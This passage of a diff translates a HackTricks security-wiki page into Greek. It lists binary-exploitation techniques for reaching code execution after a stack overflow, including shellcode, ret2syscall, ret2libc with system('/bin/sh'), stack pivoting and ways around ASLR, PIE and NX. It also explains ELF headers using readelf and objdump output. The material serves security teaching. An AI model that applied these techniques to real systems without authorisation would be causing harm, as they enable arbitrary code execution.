- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Σε περίπτωση που το stack περιέχει δείκτες σε μια συνάρτηση που πρόκειται να κληθεί ή σε μια συμβολοσειρά που πρόκειται να χρησιμοποιηθεί από μια ενδιαφέρουσα συνάρτηση (system ή printf), είναι δυνατόν να επαναγράψετε αυτή τη διεύθυνση.
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ή [**PIE**](../common-binary-protections-and-bypasses/pie/) μπορεί να επηρεάσουν τις διευθύνσεις.
|
||||
- [**Αρχικοί μεταβλητές**](../stack-overflow/uninitialized-variables.md): Ποτέ δεν ξέρετε.
|
||||
|
||||
### Goal: RCE
|
||||
### Στόχος: RCE
|
||||
|
||||
#### Via shellcode, if nx disabled or mixing shellcode with ROP:
|
||||
#### Μέσω shellcode, αν το nx είναι απενεργοποιημένο ή αναμειγνύοντας shellcode με ROP:
|
||||
|
||||
- [**(Stack) Shellcode**](./#stack-shellcode): This is useful to store a shellcode in the stack before of after overwriting the return pointer and then **jump to it** to execute it:
|
||||
- **In any case, if there is a** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in a regular bof you will need to bypass (leak) it
|
||||
- **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) it's possible to jump to the address of the stack as it won't never change
|
||||
- **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) you will need techniques such as [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) to jump to it
|
||||
- **With** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), you will need to use some [**ROP**](../rop-return-oriented-programing/) **to call `memprotect`** and make some page `rwx`, in order to then **store the shellcode in there** (calling read for example) and then jump there.
|
||||
- This will mix shellcode with a ROP chain.
|
||||
- [**(Stack) Shellcode**](./#stack-shellcode): Αυτό είναι χρήσιμο για να αποθηκεύσετε ένα shellcode στο stack πριν ή μετά την επαναγραφή του δείκτη επιστροφής και στη συνέχεια **να κάνετε jump σε αυτό** για να το εκτελέσετε:
|
||||
- **Σε κάθε περίπτωση, αν υπάρχει ένα** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** σε μια κανονική bof θα χρειαστεί να την παρακάμψετε (leak).
|
||||
- **Χωρίς** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **και** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) είναι δυνατόν να κάνετε jump στη διεύθυνση του stack καθώς δεν θα αλλάξει ποτέ.
|
||||
- **Με** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) θα χρειαστείτε τεχνικές όπως [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) για να κάνετε jump σε αυτό.
|
||||
- **Με** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), θα χρειαστεί να χρησιμοποιήσετε κάποιο [**ROP**](../rop-return-oriented-programing/) **για να καλέσετε `memprotect`** και να κάνετε κάποια σελίδα `rwx`, προκειμένου στη συνέχεια **να αποθηκεύσετε το shellcode εκεί** (καλώντας read για παράδειγμα) και στη συνέχεια να κάνετε jump εκεί.
|
||||
- Αυτό θα αναμείξει το shellcode με μια αλυσίδα ROP.
|
||||
|
||||
#### Via syscalls
|
||||
#### Μέσω syscalls
|
||||
|
||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Useful to call `execve` to run arbitrary commands. You need to be able to find the **gadgets to call the specific syscall with the parameters**.
|
||||
- If [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) are enabled you'll need to defeat them **in order to use ROP gadgets** from the binary or libraries.
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) can be useful to prepare the **ret2execve**
|
||||
- Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers
|
||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Χρήσιμο για να καλέσετε `execve` για να εκτελέσετε αυθαίρετες εντολές. Πρέπει να μπορείτε να βρείτε τα **gadgets για να καλέσετε τη συγκεκριμένη syscall με τις παραμέτρους**.
|
||||
- Αν [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ή [**PIE**](../common-binary-protections-and-bypasses/pie/) είναι ενεργοποιημένα, θα χρειαστεί να τα νικήσετε **για να χρησιμοποιήσετε ROP gadgets** από το δυαδικό ή τις βιβλιοθήκες.
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) μπορεί να είναι χρήσιμο για να προετοιμάσετε το **ret2execve**.
|
||||
- Gadgets από [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) και [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) για να ελέγξετε αρκετούς καταχωρητές.
|
||||
|
||||
#### Via libc
|
||||
#### Μέσω libc
|
||||
|
||||
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Useful to call a function from a library (usually from **`libc`**) like **`system`** with some prepared arguments (e.g. `'/bin/sh'`). You need the binary to **load the library** with the function you would like to call (libc usually).
|
||||
- If **statically compiled and no** [**PIE**](../common-binary-protections-and-bypasses/pie/), the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically.
|
||||
- **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and knowing the libc version** loaded, the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically.
|
||||
- With [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **but no** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, knowing the libc and with the binary using the `system`** function it's possible to **`ret` to the address of system in the GOT** with the address of `'/bin/sh'` in the param (you will need to figure this out).
|
||||
- With [ASLR](../common-binary-protections-and-bypasses/aslr/) but no [PIE](../common-binary-protections-and-bypasses/pie/), knowing the libc and **without the binary using the `system`** :
|
||||
- Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) to resolve the address of `system` and call it 
|
||||
- **Bypass** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) and calculate the address of `system` and `'/bin/sh'` in memory.
|
||||
- **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and not knowing the libc**: You need to:
|
||||
- Bypass [**PIE**](../common-binary-protections-and-bypasses/pie/)
|
||||
- Find the **`libc` version** used (leak a couple of function addresses)
|
||||
- Check the **previous scenarios with ASLR** to continue.
|
||||
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Χρήσιμο για να καλέσετε μια συνάρτηση από μια βιβλιοθήκη (συνήθως από **`libc`**) όπως **`system`** με κάποιες προετοιμασμένες παραμέτρους (π.χ. `'/bin/sh'`). Πρέπει το δυαδικό να **φορτώσει τη βιβλιοθήκη** με τη συνάρτηση που θα θέλατε να καλέσετε (συνήθως libc).
|
||||
- Αν **είναι στατικά μεταγλωττισμένο και χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/), η **διεύθυνση** του `system` και του `/bin/sh` δεν θα αλλάξει, οπότε είναι δυνατόν να τις χρησιμοποιήσετε στατικά.
|
||||
- **Χωρίς** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **και γνωρίζοντας την έκδοση libc** που έχει φορτωθεί, η **διεύθυνση** του `system` και του `/bin/sh` δεν θα αλλάξει, οπότε είναι δυνατόν να τις χρησιμοποιήσετε στατικά.
|
||||
- Με [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **αλλά χωρίς** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, γνωρίζοντας την libc και με το δυαδικό να χρησιμοποιεί τη συνάρτηση `system`** είναι δυνατόν να **`ret` στη διεύθυνση του system στο GOT** με τη διεύθυνση του `'/bin/sh'` στην παράμετρο (θα χρειαστεί να το καταλάβετε).
|
||||
- Με [ASLR](../common-binary-protections-and-bypasses/aslr/) αλλά χωρίς [PIE](../common-binary-protections-and-bypasses/pie/), γνωρίζοντας την libc και **χωρίς το δυαδικό να χρησιμοποιεί τη `system`** :
|
||||
- Χρησιμοποιήστε [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) για να επιλύσετε τη διεύθυνση του `system` και να την καλέσετε.
|
||||
- **Παρακάμψτε** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) και υπολογίστε τη διεύθυνση του `system` και του `'/bin/sh'` στη μνήμη.
|
||||
- **Με** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **και** [**PIE**](../common-binary-protections-and-bypasses/pie/) **και χωρίς να γνωρίζετε την libc**: Πρέπει να:
|
||||
- Παρακάμψετε [**PIE**](../common-binary-protections-and-bypasses/pie/).
|
||||
- Βρείτε την **έκδοση `libc`** που χρησιμοποιείται (leak μερικές διευθύνσεις συναρτήσεων).
|
||||
- Ελέγξτε τα **προηγούμενα σενάρια με ASLR** για να συνεχίσετε.
|
||||
|
||||
#### Via EBP/RBP
|
||||
#### Μέσω EBP/RBP
|
||||
|
||||
- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Control the ESP to control RET through the stored EBP in the stack.
|
||||
- Useful for **off-by-one** stack overflows
|
||||
- Useful as an alternate way to end controlling EIP while abusing EIP to construct the payload in memory and then jumping to it via EBP
|
||||
- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Ελέγξτε το ESP για να ελέγξετε το RET μέσω του αποθηκευμένου EBP στο stack.
|
||||
- Χρήσιμο για **off-by-one** υπερχείλιση stack.
|
||||
- Χρήσιμο ως εναλλακτικός τρόπος για να ελέγξετε το EIP ενώ εκμεταλλεύεστε το EIP για να κατασκευάσετε το payload στη μνήμη και στη συνέχεια να κάνετε jump σε αυτό μέσω EBP.
|
||||
|
||||
#### Misc
|
||||
#### Διάφορα
|
||||
|
||||
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address.
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses.
|
||||
- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): You never know
|
||||
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Σε περίπτωση που το stack περιέχει δείκτες σε μια συνάρτηση που πρόκειται να κληθεί ή σε μια συμβολοσειρά που πρόκειται να χρησιμοποιηθεί από μια ενδιαφέρουσα συνάρτηση (system ή printf), είναι δυνατόν να επαναγράψετε αυτή τη διεύθυνση.
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ή [**PIE**](../common-binary-protections-and-bypasses/pie/) μπορεί να επηρεάσουν τις διευθύνσεις.
|
||||
- [**Αρχικοί μεταβλητές**](../stack-overflow/uninitialized-variables.md): Ποτέ δεν ξέρετε.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,11 +1,10 @@
|
||||
# ELF Basic Information
|
||||
# ELF Βασικές Πληροφορίες
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Program Headers
|
||||
|
||||
The describe to the loader how to load the **ELF** into memory:
|
||||
## Επικεφαλίδες Προγράμματος
|
||||
|
||||
Περιγράφουν στον φορτωτή πώς να φορτώσει το **ELF** στη μνήμη:
|
||||
```bash
|
||||
readelf -lW lnstat
|
||||
|
||||
@ -14,80 +13,78 @@ Entry point 0x1c00
|
||||
There are 9 program headers, starting at offset 64
|
||||
|
||||
Program Headers:
|
||||
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
|
||||
PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8
|
||||
INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1
|
||||
[Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
|
||||
LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
|
||||
LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000
|
||||
DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8
|
||||
NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4
|
||||
GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4
|
||||
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
|
||||
GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1
|
||||
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
|
||||
PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8
|
||||
INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1
|
||||
[Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
|
||||
LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
|
||||
LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000
|
||||
DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8
|
||||
NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4
|
||||
GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4
|
||||
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
|
||||
GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1
|
||||
|
||||
Section to Segment mapping:
|
||||
Segment Sections...
|
||||
00
|
||||
01 .interp
|
||||
02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
|
||||
03 .init_array .fini_array .dynamic .got .data .bss
|
||||
04 .dynamic
|
||||
05 .note.gnu.build-id .note.ABI-tag .note.package
|
||||
06 .eh_frame_hdr
|
||||
07
|
||||
08 .init_array .fini_array .dynamic .got
|
||||
Section to Segment mapping:
|
||||
Segment Sections...
|
||||
00
|
||||
01 .interp
|
||||
02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
|
||||
03 .init_array .fini_array .dynamic .got .data .bss
|
||||
04 .dynamic
|
||||
05 .note.gnu.build-id .note.ABI-tag .note.package
|
||||
06 .eh_frame_hdr
|
||||
07
|
||||
08 .init_array .fini_array .dynamic .got
|
||||
```
|
||||
Το προηγούμενο πρόγραμμα έχει **9 επικεφαλίδες προγράμματος**, στη συνέχεια, η **χαρτογράφηση τμημάτων** υποδεικνύει σε ποια επικεφαλίδα προγράμματος (από 00 έως 08) **βρίσκεται κάθε τμήμα**.
|
||||
|
||||
The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**.
|
||||
### PHDR - Επικεφαλίδα Προγράμματος
|
||||
|
||||
### PHDR - Program HeaDeR
|
||||
|
||||
Contains the program header tables and metadata itself.
|
||||
Περιέχει τους πίνακες επικεφαλίδων προγράμματος και τα μεταδεδομένα.
|
||||
|
||||
### INTERP
|
||||
|
||||
Indicates the path of the loader to use to load the binary into memory.
|
||||
Υποδεικνύει τη διαδρομή του φορτωτή που θα χρησιμοποιηθεί για να φορτώσει το δυαδικό αρχείο στη μνήμη.
|
||||
|
||||
### LOAD
|
||||
|
||||
These headers are used to indicate **how to load a binary into memory.**\
|
||||
Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**.
|
||||
Αυτές οι επικεφαλίδες χρησιμοποιούνται για να υποδείξουν **πώς να φορτώσετε ένα δυαδικό αρχείο στη μνήμη.**\
|
||||
Κάθε **LOAD** επικεφαλίδα υποδεικνύει μια περιοχή **μνήμης** (μέγεθος, δικαιώματα και ευθυγράμμιση) και υποδεικνύει τα bytes του ELF **δυαδικού αρχείου που θα αντιγραφούν εκεί**.
|
||||
|
||||
For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`.
|
||||
Για παράδειγμα, η δεύτερη έχει μέγεθος 0x1190, θα πρέπει να βρίσκεται στη διεύθυνση 0x1fc48 με δικαιώματα ανάγνωσης και εγγραφής και θα γεμίσει με 0x528 από την απόσταση 0xfc48 (δεν γεμίζει όλο τον κρατημένο χώρο). Αυτή η μνήμη θα περιέχει τα τμήματα `.init_array .fini_array .dynamic .got .data .bss`.
|
||||
|
||||
### DYNAMIC
|
||||
|
||||
This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section.
|
||||
Αυτή η επικεφαλίδα βοηθά στη σύνδεση προγραμμάτων με τις βιβλιοθήκες τους και στην εφαρμογή ανακατατάξεων. Ελέγξτε το τμήμα **`.dynamic`**.
|
||||
|
||||
### NOTE
|
||||
|
||||
This stores vendor metadata information about the binary.
|
||||
Αυτό αποθηκεύει πληροφορίες μεταδεδομένων προμηθευτή σχετικά με το δυαδικό αρχείο.
|
||||
|
||||
### GNU_EH_FRAME
|
||||
|
||||
Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions.
|
||||
Ορίζει την τοποθεσία των πινάκων αποσυμπίεσης στοίβας, που χρησιμοποιούνται από αποσφαλματωτές και συναρτήσεις χειρισμού εξαιρέσεων C++.
|
||||
|
||||
### GNU_STACK
|
||||
|
||||
Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack.
|
||||
Περιέχει τη ρύθμιση της άμυνας κατά της εκτέλεσης στοίβας. Εάν είναι ενεργοποιημένη, το δυαδικό αρχείο δεν θα μπορεί να εκτελεί κώδικα από τη στοίβα.
|
||||
|
||||
### GNU_RELRO
|
||||
|
||||
Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running.
|
||||
Υποδεικνύει τη ρύθμιση RELRO (Relocation Read-Only) του δυαδικού αρχείου. Αυτή η προστασία θα σημάνει ως μόνο για ανάγνωση ορισμένα τμήματα της μνήμης (όπως το `GOT` ή τους πίνακες `init` και `fini`) αφού το πρόγραμμα έχει φορτωθεί και πριν αρχίσει να εκτελείται.
|
||||
|
||||
In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`.
|
||||
Στο προηγούμενο παράδειγμα, αντιγράφει 0x3b8 bytes στη διεύθυνση 0x1fc48 ως μόνο για ανάγνωση επηρεάζοντας τα τμήματα `.init_array .fini_array .dynamic .got .data .bss`.
|
||||
|
||||
Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched.
|
||||
Σημειώστε ότι το RELRO μπορεί να είναι μερικό ή πλήρες, η μερική έκδοση δεν προστατεύει το τμήμα **`.plt.got`**, το οποίο χρησιμοποιείται για **lazy binding** και χρειάζεται αυτόν τον χώρο μνήμης για να έχει **δικαιώματα εγγραφής** για να γράψει τη διεύθυνση των βιβλιοθηκών την πρώτη φορά που αναζητείται η τοποθεσία τους.
|
||||
|
||||
### TLS
|
||||
|
||||
Defines a table of TLS entries, which stores info about thread-local variables.
|
||||
Ορίζει έναν πίνακα καταχωρήσεων TLS, ο οποίος αποθηκεύει πληροφορίες σχετικά με τις τοπικές μεταβλητές νήματος.
|
||||
|
||||
## Section Headers
|
||||
|
||||
Section headers gives a more detailed view of the ELF binary
|
||||
## Επικεφαλίδες Τμημάτων
|
||||
|
||||
Οι επικεφαλίδες τμημάτων παρέχουν μια πιο λεπτομερή εικόνα του ELF δυαδικού αρχείου.
|
||||
```
|
||||
objdump lnstat -h
|
||||
|
||||
@ -95,159 +92,153 @@ lnstat: file format elf64-littleaarch64
|
||||
|
||||
Sections:
|
||||
Idx Name Size VMA LMA File off Algn
|
||||
0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2
|
||||
CONTENTS, ALLOC, LOAD, READONLY, CODE
|
||||
12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4
|
||||
CONTENTS, ALLOC, LOAD, READONLY, CODE
|
||||
13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6
|
||||
CONTENTS, ALLOC, LOAD, READONLY, CODE
|
||||
14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2
|
||||
CONTENTS, ALLOC, LOAD, READONLY, CODE
|
||||
15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3
|
||||
CONTENTS, ALLOC, LOAD, DATA
|
||||
19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3
|
||||
CONTENTS, ALLOC, LOAD, DATA
|
||||
20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3
|
||||
CONTENTS, ALLOC, LOAD, DATA
|
||||
21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3
|
||||
CONTENTS, ALLOC, LOAD, DATA
|
||||
22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3
|
||||
CONTENTS, ALLOC, LOAD, DATA
|
||||
23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3
|
||||
ALLOC
|
||||
24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0
|
||||
CONTENTS, READONLY
|
||||
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
|
||||
CONTENTS, READONLY
|
||||
0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2
|
||||
CONTENTS, ALLOC, LOAD, READONLY, CODE
|
||||
12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4
|
||||
CONTENTS, ALLOC, LOAD, READONLY, CODE
|
||||
13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6
|
||||
CONTENTS, ALLOC, LOAD, READONLY, CODE
|
||||
14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2
|
||||
CONTENTS, ALLOC, LOAD, READONLY, CODE
|
||||
15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3
|
||||
CONTENTS, ALLOC, LOAD, READONLY, DATA
|
||||
18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3
|
||||
CONTENTS, ALLOC, LOAD, DATA
|
||||
19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3
|
||||
CONTENTS, ALLOC, LOAD, DATA
|
||||
20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3
|
||||
CONTENTS, ALLOC, LOAD, DATA
|
||||
21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3
|
||||
CONTENTS, ALLOC, LOAD, DATA
|
||||
22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3
|
||||
CONTENTS, ALLOC, LOAD, DATA
|
||||
23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3
|
||||
ALLOC
|
||||
24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0
|
||||
CONTENTS, READONLY
|
||||
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
|
||||
CONTENTS, READONLY
|
||||
```
|
||||
Επίσης υποδεικνύει την τοποθεσία, την απόσταση, τα δικαιώματα αλλά και τον **τύπο δεδομένων** που έχει η ενότητα.
|
||||
|
||||
It also indicates the location, offset, permissions but also the **type of data** it section has.
|
||||
### Μετα-Ενότητες
|
||||
|
||||
### Meta Sections
|
||||
- **String table**: Περιέχει όλα τα strings που χρειάζεται το αρχείο ELF (αλλά όχι αυτά που χρησιμοποιούνται πραγματικά από το πρόγραμμα). Για παράδειγμα, περιέχει ονόματα ενοτήτων όπως `.text` ή `.data`. Και αν η `.text` είναι στην απόσταση 45 στον πίνακα strings, θα χρησιμοποιήσει τον αριθμό **45** στο πεδίο **name**.
|
||||
- Για να βρείτε πού είναι ο πίνακας strings, το ELF περιέχει έναν δείκτη στον πίνακα strings.
|
||||
- **Symbol table**: Περιέχει πληροφορίες για τα σύμβολα όπως το όνομα (απόσταση στον πίνακα strings), διεύθυνση, μέγεθος και περισσότερα μεταδεδομένα σχετικά με το σύμβολο.
|
||||
|
||||
- **String table**: It contains all the strings needed by the ELF file (but not the ones actually used by the program). For example it contains sections names like `.text` or `.data`. And if `.text` is at offset 45 in the strings table it will use the number **45** in the **name** field.
|
||||
- In order to find where the string table is, the ELF contains a pointer to the string table.
|
||||
- **Symbol table**: It contains info about the symbols like the name (offset in the strings table), address, size and more metadata about the symbol.
|
||||
### Κύριες Ενότητες
|
||||
|
||||
### Main Sections
|
||||
- **`.text`**: Οι εντολές του προγράμματος που πρέπει να εκτελούνται.
|
||||
- **`.data`**: Παγκόσμιες μεταβλητές με καθορισμένη τιμή στο πρόγραμμα.
|
||||
